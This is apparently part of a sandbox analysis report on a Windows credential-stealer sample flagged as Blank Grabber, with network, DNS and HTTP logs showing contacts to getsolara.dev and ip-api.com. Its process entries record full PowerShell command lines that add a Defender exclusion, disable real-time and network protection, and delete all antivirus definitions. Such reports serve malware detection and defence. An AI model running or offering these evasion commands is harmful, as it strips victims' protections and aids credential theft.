USER32.dll	CreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T18:44:34.269854+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49785	172.67.203.125	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 18:44:29.826904058 CET	49767	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:29.826946974 CET	443	49767	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:29.827014923 CET	49767	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:29.876116037 CET	49767	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:29.876138926 CET	443	49767	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:30.532674074 CET	49769	80	192.168.2.9	208.95.112.1
Oct 27, 2024 18:44:30.538253069 CET	80	49769	208.95.112.1	192.168.2.9
Oct 27, 2024 18:44:30.538376093 CET	49769	80	192.168.2.9	208.95.112.1
Oct 27, 2024 18:44:30.538531065 CET	49769	80	192.168.2.9	208.95.112.1
Oct 27, 2024 18:44:30.543807983 CET	80	49769	208.95.112.1	192.168.2.9
Oct 27, 2024 18:44:30.548291922 CET	443	49767	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:30.548407078 CET	49767	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:30.597095966 CET	49767	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:30.597177982 CET	443	49767	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:30.597868919 CET	443	49767	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:30.710704088 CET	49767	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:30.882479906 CET	49767	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:30.923324108 CET	443	49767	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:31.074922085 CET	443	49767	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:31.075014114 CET	443	49767	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:31.075059891 CET	49767	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:31.100531101 CET	49767	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:31.137918949 CET	80	49769	208.95.112.1	192.168.2.9
Oct 27, 2024 18:44:31.138680935 CET	49769	80	192.168.2.9	208.95.112.1
Oct 27, 2024 18:44:31.144368887 CET	80	49769	208.95.112.1	192.168.2.9
Oct 27, 2024 18:44:31.144418955 CET	49769	80	192.168.2.9	208.95.112.1
Oct 27, 2024 18:44:33.470911980 CET	49785	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:33.470957994 CET	443	49785	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:33.471035957 CET	49785	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:33.473743916 CET	49785	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:33.473757982 CET	443	49785	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:34.092343092 CET	443	49785	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:34.092443943 CET	49785	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:34.096478939 CET	49785	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:34.096486092 CET	443	49785	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:34.096785069 CET	443	49785	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:34.098364115 CET	49785	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:34.139333010 CET	443	49785	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:34.269866943 CET	443	49785	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:34.270010948 CET	443	49785	172.67.203.125	192.168.2.9
Oct 27, 2024 18:44:34.270167112 CET	49785	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:34.270642042 CET	49785	443	192.168.2.9	172.67.203.125
Oct 27, 2024 18:44:34.588545084 CET	49792	443	192.168.2.9	128.116.123.4
Oct 27, 2024 18:44:34.588645935 CET	443	49792	128.116.123.4	192.168.2.9
Oct 27, 2024 18:44:34.588721037 CET	49792	443	192.168.2.9	128.116.123.4
Oct 27, 2024 18:44:34.589135885 CET	49792	443	192.168.2.9	128.116.123.4
Oct 27, 2024 18:44:34.589171886 CET	443	49792	128.116.123.4	192.168.2.9
Oct 27, 2024 18:44:35.458111048 CET	443	49792	128.116.123.4	192.168.2.9
Oct 27, 2024 18:44:35.458184004 CET	49792	443	192.168.2.9	128.116.123.4
Oct 27, 2024 18:44:35.460622072 CET	49792	443	192.168.2.9	128.116.123.4
Oct 27, 2024 18:44:35.460629940 CET	443	49792	128.116.123.4	192.168.2.9
Oct 27, 2024 18:44:35.460899115 CET	443	49792	128.116.123.4	192.168.2.9
Oct 27, 2024 18:44:35.461961985 CET	49792	443	192.168.2.9	128.116.123.4
Oct 27, 2024 18:44:35.503371000 CET	443	49792	128.116.123.4	192.168.2.9
Oct 27, 2024 18:44:35.921566963 CET	443	49792	128.116.123.4	192.168.2.9
Oct 27, 2024 18:44:35.921633005 CET	443	49792	128.116.123.4	192.168.2.9
Oct 27, 2024 18:44:35.921710968 CET	49792	443	192.168.2.9	128.116.123.4
Oct 27, 2024 18:44:35.928989887 CET	49792	443	192.168.2.9	128.116.123.4
Oct 27, 2024 18:44:37.598669052 CET	49809	443	192.168.2.9	104.20.23.46
Oct 27, 2024 18:44:37.598710060 CET	443	49809	104.20.23.46	192.168.2.9
Oct 27, 2024 18:44:37.599026918 CET	49809	443	192.168.2.9	104.20.23.46
Oct 27, 2024 18:44:37.599539995 CET	49809	443	192.168.2.9	104.20.23.46
Oct 27, 2024 18:44:37.599564075 CET	443	49809	104.20.23.46	192.168.2.9
Oct 27, 2024 18:44:38.229173899 CET	443	49809	104.20.23.46	192.168.2.9
Oct 27, 2024 18:44:38.229744911 CET	49809	443	192.168.2.9	104.20.23.46
Oct 27, 2024 18:44:38.234246016 CET	49809	443	192.168.2.9	104.20.23.46
Oct 27, 2024 18:44:38.234265089 CET	443	49809	104.20.23.46	192.168.2.9
Oct 27, 2024 18:44:38.234607935 CET	443	49809	104.20.23.46	192.168.2.9
Oct 27, 2024 18:44:38.236049891 CET	49809	443	192.168.2.9	104.20.23.46
Oct 27, 2024 18:44:38.283325911 CET	443	49809	104.20.23.46	192.168.2.9
Oct 27, 2024 18:44:38.698509932 CET	443	49809	104.20.23.46	192.168.2.9
Oct 27, 2024 18:44:38.698637962 CET	443	49809	104.20.23.46	192.168.2.9
Oct 27, 2024 18:44:38.698705912 CET	49809	443	192.168.2.9	104.20.23.46
Oct 27, 2024 18:44:38.699573040 CET	49809	443	192.168.2.9	104.20.23.46

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 18:44:27.269191027 CET	62870	53	192.168.2.9	1.1.1.1
Oct 27, 2024 18:44:27.289382935 CET	53	62870	1.1.1.1	192.168.2.9
Oct 27, 2024 18:44:29.812438965 CET	57784	53	192.168.2.9	1.1.1.1
Oct 27, 2024 18:44:29.820825100 CET	53	57784	1.1.1.1	192.168.2.9
Oct 27, 2024 18:44:30.232682943 CET	58214	53	192.168.2.9	1.1.1.1
Oct 27, 2024 18:44:30.528913021 CET	53	58214	1.1.1.1	192.168.2.9
Oct 27, 2024 18:44:34.572330952 CET	62735	53	192.168.2.9	1.1.1.1
Oct 27, 2024 18:44:34.580302000 CET	53	62735	1.1.1.1	192.168.2.9
Oct 27, 2024 18:44:37.589793921 CET	60704	53	192.168.2.9	1.1.1.1
Oct 27, 2024 18:44:37.598038912 CET	53	60704	1.1.1.1	192.168.2.9
Oct 27, 2024 18:44:38.700347900 CET	49180	53	192.168.2.9	1.1.1.1
Oct 27, 2024 18:44:38.708708048 CET	53	49180	1.1.1.1	192.168.2.9
Oct 27, 2024 18:44:55.312655926 CET	53	56219	162.159.36.2	192.168.2.9
Oct 27, 2024 18:44:55.928215981 CET	49719	53	192.168.2.9	1.1.1.1
Oct 27, 2024 18:44:55.936969042 CET	53	49719	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 18:44:27.269191027 CET	192.168.2.9	1.1.1.1	0xacb4	Standard query (0)	blank-8rmnx.in	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:29.812438965 CET	192.168.2.9	1.1.1.1	0xa398	Standard query (0)	getsolara.dev	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:30.232682943 CET	192.168.2.9	1.1.1.1	0x345e	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:34.572330952 CET	192.168.2.9	1.1.1.1	0x6329	Standard query (0)	clientsettings.roblox.com	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:37.589793921 CET	192.168.2.9	1.1.1.1	0x3948	Standard query (0)	www.nodejs.org	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:38.700347900 CET	192.168.2.9	1.1.1.1	0xd53	Standard query (0)	nodejs.org	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:55.928215981 CET	192.168.2.9	1.1.1.1	0x77ac	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 18:44:27.289382935 CET	1.1.1.1	192.168.2.9	0xacb4	Name error (3)	blank-8rmnx.in	none	none	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:29.820825100 CET	1.1.1.1	192.168.2.9	0xa398	No error (0)	getsolara.dev		172.67.203.125	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:29.820825100 CET	1.1.1.1	192.168.2.9	0xa398	No error (0)	getsolara.dev		104.21.93.27	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:30.528913021 CET	1.1.1.1	192.168.2.9	0x345e	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:34.580302000 CET	1.1.1.1	192.168.2.9	0x6329	No error (0)	clientsettings.roblox.com	titanium.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 18:44:34.580302000 CET	1.1.1.1	192.168.2.9	0x6329	No error (0)	titanium.roblox.com	edge-term4.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 18:44:34.580302000 CET	1.1.1.1	192.168.2.9	0x6329	No error (0)	edge-term4.roblox.com	edge-term4-fra2.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 27, 2024 18:44:34.580302000 CET	1.1.1.1	192.168.2.9	0x6329	No error (0)	edge-term4-fra2.roblox.com		128.116.123.4	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:37.598038912 CET	1.1.1.1	192.168.2.9	0x3948	No error (0)	www.nodejs.org		104.20.23.46	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:37.598038912 CET	1.1.1.1	192.168.2.9	0x3948	No error (0)	www.nodejs.org		104.20.22.46	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:38.708708048 CET	1.1.1.1	192.168.2.9	0xd53	No error (0)	nodejs.org		104.20.23.46	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:38.708708048 CET	1.1.1.1	192.168.2.9	0xd53	No error (0)	nodejs.org		104.20.22.46	A (IP address)	IN (0x0001)	false
Oct 27, 2024 18:44:55.936969042 CET	1.1.1.1	192.168.2.9	0x77ac	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

getsolara.dev

clientsettings.roblox.com

www.nodejs.org

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49769	208.95.112.1	80	7664	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 18:44:30.538531065 CET	117	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.2.3
Oct 27, 2024 18:44:31.137918949 CET	174	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 17:44:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49767	172.67.203.125	443	7976	C:\Users\user\AppData\Local\Temp\bound.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 17:44:30 UTC	81	OUT	GET /asset/discord.json HTTP/1.1 Host: getsolara.dev Connection: Keep-Alive
2024-10-27 17:44:31 UTC	1021	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 17:44:31 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"7d966f73b6ce74a610dddaf0d0951ed8" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zMwUJ68ai%2BsAJxN%2F1VPuoofgttEPwoK2E6xynsvcdnp5k%2BhB%2FaEVwxq3YOpwTSbLLKUXsST9N8Eo6naIspZKgSogcDyTFMijSCXaeXc13ROgM1BP3aXgkter4tv1Vdr9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=0 Server: cloudflare CF-RAY: 8d947e9978d76c62-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1152&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2813&recv_bytes=695&delivery_rate=2468883&cwnd=242&unsent_bytes=0&cid=0f313bf74048c711&ts=581&x=0"
2024-10-27 17:44:31 UTC	109	IN	Data Raw: 36 37 0d 0a 7b 0a 20 20 20 20 22 61 72 67 73 22 20 3a 20 7b 0a 20 20 20 20 20 20 20 22 63 6f 64 65 22 20 3a 20 22 38 50 67 73 70 52 59 41 51 75 22 0a 20 20 20 20 7d 2c 0a 20 20 20 20 22 63 6d 64 22 20 3a 20 22 49 4e 56 49 54 45 5f 42 52 4f 57 53 45 52 22 2c 0a 20 20 20 20 22 6e 6f 6e 63 65 22 20 3a 20 22 2e 22 0a 20 7d 0d 0a Data Ascii: 67{ "args" : { "code" : "8PgspRYAQu" }, "cmd" : "INVITE_BROWSER", "nonce" : "." }
2024-10-27 17:44:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49785	172.67.203.125	443	7976	C:\Users\user\AppData\Local\Temp\bound.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 17:44:34 UTC	56	OUT	GET /api/endpoint.json HTTP/1.1 Host: getsolara.dev
2024-10-27 17:44:34 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 17:44:34 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"58e4ee2ed9918060304a9212edaf09e7" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B6QbEZ%2FxQVzeSD51L6TZPvbhWQHupkDfR%2FUO2FGbUoLKAGpllqYI415OLjzWEdBWZILMtS2w8av%2B2hFgTz0lyAoBydo5qd6LYOzCPCx84Xtt71DLcFn3PyoCVyY7ORe1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=0 Server: cloudflare CF-RAY: 8d947ead8fe62e69-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1328&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2811&recv_bytes=694&delivery_rate=2187311&cwnd=251&unsent_bytes=0&cid=72cdfc802aee87ac&ts=186&x=0"
2024-10-27 17:44:34 UTC	350	IN	Data Raw: 32 31 63 0d 0a 7b 0a 20 20 20 20 22 42 6f 6f 74 73 74 72 61 70 70 65 72 56 65 72 73 69 6f 6e 22 3a 20 22 31 2e 32 32 22 2c 0a 20 20 20 20 22 53 75 70 70 6f 72 74 65 64 43 6c 69 65 6e 74 22 3a 20 22 76 65 72 73 69 6f 6e 2d 34 66 66 64 65 62 33 65 33 39 33 65 34 36 39 65 22 2c 0a 20 20 20 20 22 53 6f 66 74 77 61 72 65 56 65 72 73 69 6f 6e 22 3a 20 22 33 2e 31 32 34 22 2c 0a 20 20 20 20 22 42 6f 6f 74 73 74 72 61 70 70 65 72 55 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 39 39 61 62 35 64 39 63 2e 73 6f 6c 61 72 61 77 65 62 2d 61 6c 6a 2e 70 61 67 65 73 2e 64 65 76 2f 64 6f 77 6e 6c 6f 61 64 2f 73 74 61 74 69 63 2f 66 69 6c 65 73 2f 42 6f 6f 74 73 74 72 61 70 70 65 72 2e 65 78 65 22 2c 0a 20 20 20 20 22 53 6f 66 74 77 61 72 65 55 72 6c 22 3a 22 68 74 74 70 73 Data Ascii: 21c{ "BootstrapperVersion": "1.22", "SupportedClient": "version-4ffdeb3e393e469e", "SoftwareVersion": "3.124", "BootstrapperUrl": "https://99ab5d9c.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe", "SoftwareUrl":"https
2024-10-27 17:44:34 UTC	197	IN	Data Raw: 74 70 73 3a 2f 2f 63 6c 69 65 6e 74 73 65 74 74 69 6e 67 73 2e 72 6f 62 6c 6f 78 2e 63 6f 6d 2f 76 32 2f 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 2f 57 69 6e 64 6f 77 73 50 6c 61 79 65 72 2f 63 68 61 6e 6e 65 6c 2f 6c 69 76 65 22 2c 0a 20 20 20 20 22 43 6c 69 65 6e 74 48 61 73 68 22 3a 22 64 63 62 63 31 37 65 30 31 61 61 37 35 66 32 36 64 61 32 34 35 33 31 38 35 64 33 61 33 33 31 30 37 33 34 61 36 30 62 38 35 31 65 64 66 61 65 34 35 63 62 65 61 35 35 31 30 31 63 39 31 66 62 30 22 2c 0a 20 20 20 20 22 43 68 61 6e 67 65 6c 6f 67 22 3a 22 5b 2b 5d 20 55 70 64 61 74 65 64 22 0a 7d 0d 0a Data Ascii: tps://clientsettings.roblox.com/v2/client-version/WindowsPlayer/channel/live", "ClientHash":"dcbc17e01aa75f26da2453185d3a3310734a60b851edfae45cbea55101c91fb0", "Changelog":"[+] Updated"}
2024-10-27 17:44:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49792	128.116.123.4	443	7976	C:\Users\user\AppData\Local\Temp\bound.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 17:44:35 UTC	119	OUT	GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1 Host: clientsettings.roblox.com Connection: Keep-Alive
2024-10-27 17:44:35 UTC	576	IN	HTTP/1.1 200 OK content-length: 119 content-type: application/json; charset=utf-8 date: Sun, 27 Oct 2024 17:44:35 GMT server: Kestrel cache-control: no-cache strict-transport-security: max-age=3600 x-frame-options: SAMEORIGIN roblox-machine-id: eb1c3008-1849-20c7-48c2-cc5773503727 x-roblox-region: us-central_rbx x-roblox-edge: fra2 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://ncs.roblox.com/upload"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1} connection: close
2024-10-27 17:44:35 UTC	119	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 22 30 2e 36 34 38 2e 31 2e 36 34 38 30 37 38 33 22 2c 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 55 70 6c 6f 61 64 22 3a 22 76 65 72 73 69 6f 6e 2d 34 66 66 64 65 62 33 65 33 39 33 65 34 36 39 65 22 2c 22 62 6f 6f 74 73 74 72 61 70 70 65 72 56 65 72 73 69 6f 6e 22 3a 22 31 2c 20 36 2c 20 31 2c 20 36 34 38 30 37 38 33 22 7d Data Ascii: {"version":"0.648.1.6480783","clientVersionUpload":"version-4ffdeb3e393e469e","bootstrapperVersion":"1, 6, 1, 6480783"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49809	104.20.23.46	443	7976	C:\Users\user\AppData\Local\Temp\bound.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 17:44:38 UTC	99	OUT	GET /dist/v18.16.0/node-v18.16.0-x64.msi HTTP/1.1 Host: www.nodejs.org Connection: Keep-Alive
2024-10-27 17:44:38 UTC	497	IN	HTTP/1.1 307 Temporary Redirect Date: Sun, 27 Oct 2024 17:44:38 GMT Content-Type: text/plain Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate location: https://nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi strict-transport-security: max-age=31536000; includeSubDomains; preload x-vercel-id: cle1::xdccc-1730051078600-da22783cb291 CF-Cache-Status: DYNAMIC X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8d947ec7688d3aaa-DFW
2024-10-27 17:44:38 UTC	20	IN	Data Raw: 66 0d 0a 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 0a 0d 0a Data Ascii: fRedirecting...
2024-10-27 17:44:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	13:44:22
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe"
Imagebase:	0x7ff7ead00000
File size:	8'240'610 bytes
MD5 hash:	3C1B1F453E5F9F0D71F7862D2D6235FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1393387910.000001C12B872000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1393387910.000001C12B874000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:44:23
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe"
Imagebase:	0x7ff7ead00000
File size:	8'240'610 bytes
MD5 hash:	3C1B1F453E5F9F0D71F7862D2D6235FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.1407872022.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:44:25
Start date:	27/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'"
Imagebase:	0x7ff7738f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:44:25
Start date:	27/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff7738f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:44:25
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:44:25
Start date:	27/10/2024
